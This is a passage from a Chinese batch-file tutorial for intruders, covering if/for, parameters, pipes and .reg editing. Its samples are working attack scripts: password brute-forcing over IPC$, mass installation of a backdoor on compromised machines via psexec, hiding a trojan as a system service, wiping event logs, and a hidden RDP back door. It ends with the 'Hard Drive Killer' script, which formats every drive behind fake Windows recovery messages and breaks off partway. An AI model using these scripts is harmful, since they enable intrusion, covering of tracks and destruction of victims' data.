            if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
            if errorlevel 2 goto mem
            if errotlevel 1 goto end

            :defrag
            c:dosdefrag
            goto end
            :mem
            mem
            goto end
            :end
            echo good bye

            此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號爲defrag的程序段,m表示執行標號爲mem的程序段,e表示執行標號爲end的程序段,每個程序段最後都 以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。

            9.If 命令

            if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
            1、if "參數" == "字符串"  待執行的命令
            參數如果等於指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
            如if "%1"=="a" format a:
            if {%1}=={} goto noparms
            if {%2}=={} goto noparms

            2、if exist 文件名  待執行的命令
            如果有指定的文件,則條件成立,運行命令,否則運行下一句。
            如if exist config.sys edit config.sys

            3、if errorlevel / if not errorlevel 數字  待執行的命令
            如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。
            如if errorlevel 2 goto x2  
            DOS程序運行時都會返回一個數字給DOS,稱爲錯誤碼errorlevel或稱返回碼,常見的返回碼爲0、1。

            10.for 命令
            for 命令是一個比較複雜的命令,主要用於參數在指定的範圍內循環執行命令。
            在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable

            for {%variable|%%variable} in (set) do command [ CommandLineOptions]
            %variable 指定一個單一字母可替換的參數。
            (set) 指定一個或一組文件。可以使用通配符。
            command 指定對每個文件執行的命令。
            command-parameters 爲特定命令指定參數或命令行開關。
            在批處理文件中使用 FOR 命令時,指定變量請使用 %%variable而不要用 %variable。變量名稱是區分大小寫的,所以 %i 不同於 %I

            如果命令擴展名被啓用,下列額外的 FOR 命令格式會受到支持:

            FOR /D %variable IN (set) DO command [command-parameters]

            如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。

            FOR /R [drive:]path] %variable IN (set) DO command [command-

            檢查以 [drive:]path 爲根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用當前目錄。如果集僅爲一個單點(.)字符,則枚舉該目錄樹。

            FOR /L %variable IN (start,step,end) DO command [command-para

            該集表示以增量形式從開始到結束的一個數字序列。
            因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
            序列 (5 4 3 2 1)。

            FOR /F ["options"] %variable IN (file-set) DO command
            FOR /F ["options"] %variable IN ("string") DO command
            FOR /F ["options"] %variable IN (''command'') DO command

            或者,如果有 usebackq 選項:

            FOR /F ["options"] %variable IN (file-set) DO command
            FOR /F ["options"] %variable IN ("string") DO command
            FOR /F ["options"] %variable IN (''command'') DO command

filenameset 爲一個或多個文件名。繼續到 filenameset 中的下一個文件之前,每份文件都已被打開、讀取並經過處理。處理包括讀取文件,將其分成一行行的文字,然後將每行解析成零或更多的符號。然後用已找到的符 號字符串變量值調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開的第一個空白符號。跳過空白行。您可通過指定可選 "options"參數替代默認解析操作。這個帶引號的字符串包括一個或多個指定不同解析選項的關鍵字。這些關鍵字爲:

           eol=c - 指一個行註釋字符的結尾(就一個)
           skip=n - 指在文件開始時忽略的行數。
           delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
           tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變量名稱的格式爲一個範圍。通過 nth 符號指定 m符號字符串中的最後一個字符星號,那麼額外的變量將在最後一個符號解析之分配並接受行的保留文本。
           usebackq - 指定新語法已在下類情況中使用:在作爲命令執行一個後引號的字符串並且引號字符爲文字字符串命令並允許在 fi中使用雙引號擴起文件名稱。

           sample1:
           FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

           會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用雙引號將文件名括起來。爲了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字符串的。

           %i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高於字母 ''z'' 或''Z'' 的變量。請記住,FOR 變量是單一字母、分大小寫和全局的;同時不能有 52 個以上都在使用中。

           您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,用單引號將括號之間的 filenameset 括起來。這樣,該字符串會被當作一個文件中的一個單一輸入行。

           最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括號之間的 filenameset 變成一個反括字符串。該字符串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此,以下例子:

           FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

           會枚舉當前環境中的環境變量名稱。

           另外,FOR 變量參照的替換已被增強。您現在可以使用下列選項語法:

           ~I - 刪除任何引號("),擴充 %I
           %~fI - 將 %I 擴充到一個完全合格的路徑名
           %~dI - 僅將 %I 擴充到一個驅動器號
           %~pI - 僅將 %I 擴充到一個路徑
           %~nI - 僅將 %I 擴充到一個文件名
           %~xI - 僅將 %I 擴充到一個文件擴展名
           %~sI - 擴充的路徑只含有短名
           %~aI - 將 %I 擴充到文件的文件屬性
           %~tI - 將 %I 擴充到文件的日期/時間
           %~zI - 將 %I 擴充到文件的大小
           %~$PATH:I - 查找列在路徑環境變量的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變量未被定義,或者沒有找到文件,此組合鍵會擴充空字符串

           可以組合修飾符來得到多重結果:

           %~dpI - 僅將 %I 擴充到一個驅動器號和路徑
           %~nxI - 僅將 %I 擴充到一個文件名和擴展名
           %~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
           %~dp$PATH:i - 查找列在路徑環境變量的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。
           %~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

           在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名比較易讀,而且避免與不分大小寫的組合鍵混淆。

           以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

           sample2:

           利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。
           我們用net use /ipipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
           最主要的命令是一條:for /f i% in (dict.txt) do net use /ipipc$ "i%" /u:"administrator"
           用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--
           for /f i%% in (dict.txt) do net use /ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:ok.txt ,這樣就ko了。

           sample3:

           你有沒有過手裏有大量肉雞等着你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很鬱悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重複性任務。那麼如何實現呢?呵呵,看下去你就會明白了。

           主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable)
           @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
           tokens的用法請參見上面的sample1,在這裏它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
           而cultivate.bat無非就是用net use命令來建立IPC$連接,並copy木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
           delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裏你也一定明白這victim.txt裏的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
           代碼雛形:
           --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
           @echo off
           @if "%1"=="" goto usage
           @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
           @goto end
           :usage
           @echo run this batch in dos modle.or just double-click it.
           :end
           --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


           ------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
           @net use /%1ipc$ %3 /u:"%2"
           @if errorlevel 1 goto failed
           @echo Trying to establish the IPC$ connection …………OK
           @copy windrv32.exe/%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
           @psexec /%1 c:winntsystem32windrv32.exe
           @psexec /%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
           :failed
           @echo Sorry can not connected to the victim.
           ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
           這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
           尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

  二.如何在批處理文件中使用參數
        
           批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。
           sample1:fomat.bat
           @echo off
           if "%1"=="a" format a:
           :format
           @format a:/q/u/auotset
           @echo please insert another disk to driver A.
           @pause
           @goto fomat
           這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添足了~^_^
           sample2:
           當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當着參數來賦給這個批處理,這樣就不用每次都打命令了。
           @echo off
           @net use /1%ipc$ "2%" /u:"3%" 注意哦,這裏PASSWORD是第二個參數。
           @if errorlevel 1 echo connection failed
           怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^.

           三.如何使用組合命令(Compound Command)

           1.&

           Usage:第一條命令 & 第二條命令 [& 第三條命令...]

           用這種方法可以同時執行多條命令,而不管命令是否執行成功

           Sample:
           C:>dir z: & dir c:Ex4rch
           The system cannot find the path specified.
           Volume in drive C has no label.
           Volume Serial Number is 0078-59FB

           Directory of c:Ex4rch

           2002-05-14 23:51 <DIR> .
           2002-05-14 23:51 <DIR> ..
           2002-05-14 23:51 14 sometips.gif

           2.&&

           Usage:第一條命令 && 第二條命令 [&& 第三條命令...]

           用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;

           Sample:
           C:>dir z: && dir c:Ex4rch
           The system cannot find the path specified.

           C:>dir c:Ex4rch && dir z:
           Volume in drive C has no label.
           Volume Serial Number is 0078-59FB

           Directory of c:Ex4rch

           2002-05-14 23:55 <DIR> .
           2002-05-14 23:55 <DIR> ..
           2002-05-14 23:55 14 sometips.gif
           1 File(s) 14 bytes
           2 Dir(s) 768,671,744 bytes free
           The system cannot find the path specified.

           在做備份的時候可能會用到這種命令會比較簡單,如:
           dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
           如果遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命令。這種用法可以替換IF exist了 :)

           3.||

           Usage:第一條命令 || 第二條命令 [|| 第三條命令...]

           用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

           Sample:
           C:Ex4rch>dir sometips.gif || del sometips.gif
           Volume in drive C has no label.
           Volume Serial Number is 0078-59FB

           Directory of C:Ex4rch

           2002-05-14 23:55 14 sometips.gif
           1 File(s) 14 bytes
           0 Dir(s) 768,696,320 bytes free

           組合命令使用的例子:
           sample:
           @copy trojan.exe /%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

           四、管道命令的使用

           1.| 命令
           Usage:第一條命令 | 第二條命令 [| 第三條命令...]
           將第一條命令的結果作爲第二條命令的參數來使用,記得在unix中這種方式很常見。

           sample:
           time /t>>D:IP.log
           netstat -n -p tcp|find ":3389">>D:IP.log
           start Explorer
           看出來了麼?用於終端服務允許我們爲用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以獲得登錄用戶的IP。

           2.>、>>輸出重定向命令
           將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在於,>會清除調原有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。

           sample1:
           echo hello world>c:hello.txt (stupid example?)

           sample2:
           時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裏鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下的EXE和DLL文件作一個記錄:
           運行CMD--轉換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
           這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
           日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
           這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後運行:
           CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能 發現一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如 果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件註銷掉,再把它移到回收站裏,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。

           3.< 、>& 、<&
           < 從文件中而不是從鍵盤中讀入命令輸入。
           >& 將一個句柄的輸出寫入到另一個句柄的輸入中。
           <& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
           這些並不常用,也就不多做介紹。

五.如何用批處理文件來操作註冊表

           在入侵過程中經常回操作註冊表的特定的鍵值來實現一定的目的,例如:爲了達到隱藏後門、木馬程序而刪除Run下殘餘的鍵值。或者創建一個服務用以加載後 門。當然我們也會修改註冊表來加固系統或者改變系統的某個屬性,這些都需要我們對註冊表操作有一定的瞭解。下面我們就先學習一下如何使用.REG文件來操 作註冊表.(我們可以用批處理來生成一個REG文件)
           關於註冊表的操作,常見的是創建、修改、刪除。

           1.創建
           創建分爲兩種,一種是創建子項(Subkey)

           我們創建一個文件,內容如下:

           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]

           然後執行該腳本,你就已經在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下創建了一個名字爲“hacker”的子項。

           另一種是創建一個項目名稱
           那這種文件格式就是典型的文件格式,和你從註冊表中導出的文件格式一致,內容如下:

           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
           "Invader"="Ex4rch"
           "Door"=C:/WINNT/system32/door.exe
           "Autodos"=dword:02

           這樣就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下
           新建了:Invader、door、about這三個項目
           Invader的類型是“String Value”
           door的類型是“REG SZ Value”
           Autodos的類型是“DWORD Value”

           2.修改
           修改相對來說比較簡單,只要把你需要修改的項目導出,然後用記事本進行修改,然後導入(regedit /s)即可。

           3.刪除
           我們首先來說說刪除一個項目名稱,我們創建一個如下的文件:

           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
           "Ex4rch"=-

           執行該腳本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被刪除了;

           我們再看看刪除一個子項,我們創建一個如下的腳本:

           Windows Registry Editor Version 5.00

           [-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

           執行該腳本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已經被刪除了。

           相信看到這裏,.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容的.reg文件了,記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。

           samlpe1:如上面的那個例子,如想生成如下註冊表文件
           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
           "Invader"="Ex4rch"
           "door"=hex:255
           "Autodos"=dword:000000128
           只需要這樣:
           @echo Windows Registry Editor Version 5.00>>Sample.reg

           @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg
           @echo "Invader"="Ex4rch">>Sample.reg
           @echo "door"=5>>C:/WINNT/system32/door.exe>>Sample.reg
           @echo "Autodos"=dword:02>>Sample.reg

           samlpe2:
           我們現在在使用一些比較老的木馬時,可能會在註冊表的 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、 Runservices、Runexec)]下生成一個鍵值用來實現木馬的自啓動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地若是將 木馬程序註冊爲系統服務則相對安全一些.下面以配置好地IRC木馬DSNX爲例(名爲windrv32.exe)
           @start windrv32.exe
           @attrib +h +r windrv32.exe
           @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
           @echo "windsnx "=- >>patch.dll
           @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe
           @regedit /s patch.dll
           @delete patch.dll

           @REM [刪除DSNXDE在註冊表中的啓動項,用sc.exe將之註冊爲系統關鍵性服務的同時將其屬性設爲隱藏和只讀,並config爲自啓動]
           @REM 這樣不是更安全^_^.

           六.精彩實例放送
        
           1.刪除win2k/xp系統默認共享的批處理
           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           @echo preparing to delete all the default shares.when ready pres any key.
           @pause
           @echo off

           :Rem check parameters if null show usage.
           if {%1}=={} goto :Usage

           :Rem code start.
           echo.
           echo ------------------------------------------------------
           echo.
           echo Now deleting all the default shares.
           echo.
           net share %1$ /delete
           net share %2$ /delete
           net share %3$ /delete
           net share %4$ /delete
           net share %5$ /delete
           net share %6$ /delete
           net share %7$ /delete
           net share %8$ /delete
           net share %9$ /delete
           net stop Server
           net start Server
           echo.
           echo All the shares have been deleteed
           echo.
           echo ------------------------------------------------------
           echo.
           echo Now modify the registry to change the system default properties.
           echo.
           echo Now creating the registry file
           echo Windows Registry Editor Version 5.00> c:delshare.reg
           echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
           echo "AutoShareWks"=dword:00000000>> c:delshare.reg
           echo "AutoShareServer"=dword:00000000>> c:delshare.reg
           echo Nowing using the registry file to chang the system default properties.
           regedit /s c:delshare.reg
           echo Deleting the temprotarily files.
           del c:delshare.reg
           goto :END

           :Usage
           echo.
           echo ------------------------------------------------------
           echo.
           echo ☆ A example for batch file ☆
           echo ☆ [Use batch file to change the sysytem share properties.] ☆
           echo.
           echo Author:Ex4rch
           echo Mail:[email protected] QQ:1672602
           echo.
           echo Error:Not enough parameters
           echo.
           echo ☆ Please enter the share disk you wanna delete ☆
           echo.
           echo For instance,to delete the default shares:
           echo delshare c d e ipc admin print
           echo.
           echo If the disklable is not as C: D: E: ,Please chang it youself.
           echo.
           echo example:
           echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
           echo delshare c d e x y z ipc admin print
           echo.
           echo *** you can delete nine shares once in a useing ***
           echo.
           echo ------------------------------------------------------
           goto :EOF

           :END
           echo.
           echo ------------------------------------------------------
           echo.
           echo OK,delshare.bat has deleted all the share you assigned.
           echo.Any questions ,feel free to mail [email protected].
           echo
           echo.
           echo ------------------------------------------------------
           echo.

           :EOF
           echo end of the batch file
           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           2.全面加固系統(給肉雞打補丁)的批處理文件
           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           @echo Windows Registry Editor Version 5.00 >patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll

           @echo "AutoShareServer"=dword:00000000 >>patch.dll
           @echo "AutoShareWks"=dword:00000000 >>patch.dll
           @REM [禁止共享]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll
           @echo "restrictanonymous"=dword:00000001 >>patch.dll
           @REM [禁止匿名登錄]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll
           @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
           @REM [禁止及文件訪問和打印共享]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll
           @echo "Start"=dword:00000004 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll
           @echo "Start"=dword:00000004 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>patch.dll
           @echo "ShutdownWithoutLogon"="0" >>patch.dll
           @REM [禁止登錄前關機]

           @echo "DontDisplayLastUserName"="1" >>patch.dll
           @REM [禁止顯示前一個登錄用戶名稱]
           @regedit /s patch.dll

           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           下面命令是清除肉雞所有日誌,禁止一些危險的服務,並修改肉雞的terminnal service留跳後路。
           @regedit /s patch.dll
           @net stop w3svc
           @net stop event log
           @del c:winntsystem32logfilesw3svc1*.* /f /q
           @del c:winntsystem32logfilesw3svc2*.* /f /q
           @del c:winntsystem32config*.event /f /q
           @del c:winntsystem32dtclog*.* /f /q
           @del c:winnt*.txt /f /q
           @del c:winnt*.log /f /q
           @net start w3svc
           @net start event log
           @rem [刪除日誌]


           @net stop lanmanserver /y
           @net stop Schedule /y
           @net stop RemoteRegistry /y
           @del patch.dll
           @echo The server has been patched,Have fun.
           @del patch.bat
           @REM [禁止一些危險的服務。]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll
           @echo "PortNumber"=dword:00002010 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll
           @echo "PortNumber"=dword:00002012 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll
           @echo "Start"=dword:00000002 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll
           @echo "Start"=dword:00000002 >>patch.dll
           @echo "ErrorControl"=dword:00000001 >>patch.dll
           @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll
           @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll
           @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
           @echo "ObjectName"="LocalSystem" >>patch.dll
           @echo "Type"=dword:00000010 >>patch.dll
           @echo "Descr1ption"="Keep record of the program and windows'' message。" >>patch.dll
           @echo "DisplayName"="Microsoft EventLog" >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll
           @echo "Start"=dword:00000004 >>patch.dll
           @copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe
           @REM [修改3389連接,端口爲8210(十六進制爲00002012),名稱爲Microsoft EventLog,留條後路]

3.Hard Drive Killer Pro Version 4.0(玩批處理到這個水平真的不容易了。)
           ------------------------ cut here then save as .bat or .cmd file ---------------------------
           @echo off
           rem This program is dedecated to a very special person that does not want to be named.
           :start
           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .
           call attrib -r -h c:autoexec.bat >nul
           echo @echo off >c:autoexec.bat
           echo call format c: /q /u /autoSample >nul >>c:autoexec.bat
           call attrib +r +h c:autoexec.bat >nul
           rem Drive checking and assigning the valid drives to the drive variable.

           set drive=
           set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

           rem code insertion for Drive Checking takes place here.
           rem drivechk.bat is the file name under the root directory.
           rem As far as the drive detection and drive variable settings, don''t worry about how it
           rem works, it''s d*amn to complicated for the average or even the expert batch programmer.
           rem Except for Tom Lavedas.

           echo @echo off >drivechk.bat
           echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
           %comspec% /e:2048 /c {t}.bat >>drivechk.bat
           del {t}.bat
           echo if errorlevel 1 goto enddc >>drivechk.bat

           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .

           rem When errorlevel is 1, then the above is not true, if 0, then it''s true.
           rem Opposite of binary rules. If 0, it will elaps to the next command.

           echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat
           %comspec% /e:2048 /c {t}.bat >>drivechk.bat
           del {t}.bat
           echo if errorlevel 1 goto enddc >>drivechk.bat

           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .

           rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
           rem if errorlevel is 0, then it will elaps to the next command.

           echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
           %comspec% /e:2048 /c {t}.bat >>drivechk.bat
           del {t}.bat
           echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .

           rem if it''s errorlevel 1, then the specified drive is a hard or floppy drive.
           rem if it''s not errorlevel 1, then the specified drive is a CD-ROM drive.

           echo :enddc >>drivechk.bat

           rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

           rem Now we will use the program drivechk.bat to attain valid drive information.

           :Sampledrv

           for %%a in (%alldrive%) do call drivechk.bat %%a >nul
           del drivechk.bat >nul
           if %drive.==. set drive=c

           :form_del
           call attrib -r -h c:autoexec.bat >nul
           echo @echo off >c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:autoexec.bat
           echo cd >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Welcome to the land of death. Munga Bunga''s Multiple Hard Drive Killer version 4.0. >>c:autoexec.bat
           echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:autoexec.bat
           echo echo 1. To make people aware that security should not be taken for granted. >>c:autoexec.bat
           echo echo 2. Love is important, if you have it, truly, don''t let go of it like I did! >>c:autoexec.bat
           echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I''m glad your HD is dead. >>c:autoexec.bat
           echo echo 4. Don''t support the following: War, Racism, Drugs and the Liberal Party.>>c:autoexec.bat

           echo echo. >>c:autoexec.bat
           echo echo Regards, >>c:autoexec.bat
           echo echo. >>c:autoexec.bat
           echo echo Munga Bunga >>c:autoexec.bat
           call attrib +r +h c:autoexec.bat

           :makedir
           if exist c:temp.bat attrib -r -h c:temp.bat >nul
           echo @echo off >c:temp.bat
           echo %%1: >>c:temp.bat
           echo cd >>c:temp.bat
           echo :star** >>c:temp.bat
           echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a >>c:temp.bat
           echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:temp.bat
           echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto star** >>c:temp.bat
           call attrib +r +h c:temp.bat >nul

           cls
           echo Initializing Variables . . .
           rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.
           for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
           cls
           echo Initializing Variables . . .
           echo Validating Data . . .
           for %%a in (%drive%) do call c:temp.bat %%a Munga >nul
           cls
           echo Initializing Variables . . .
           echo Validating Data . . .
           echo Analyzing System Structure . . .
           for %%a in (%drive%) call attrib -r -h %%a: /S >nul
           call attrib +r +h c:temp.bat >nul
           call attrib +r +h c:autoexec.bat >nul
           cls
           echo Initializing Variables . . .
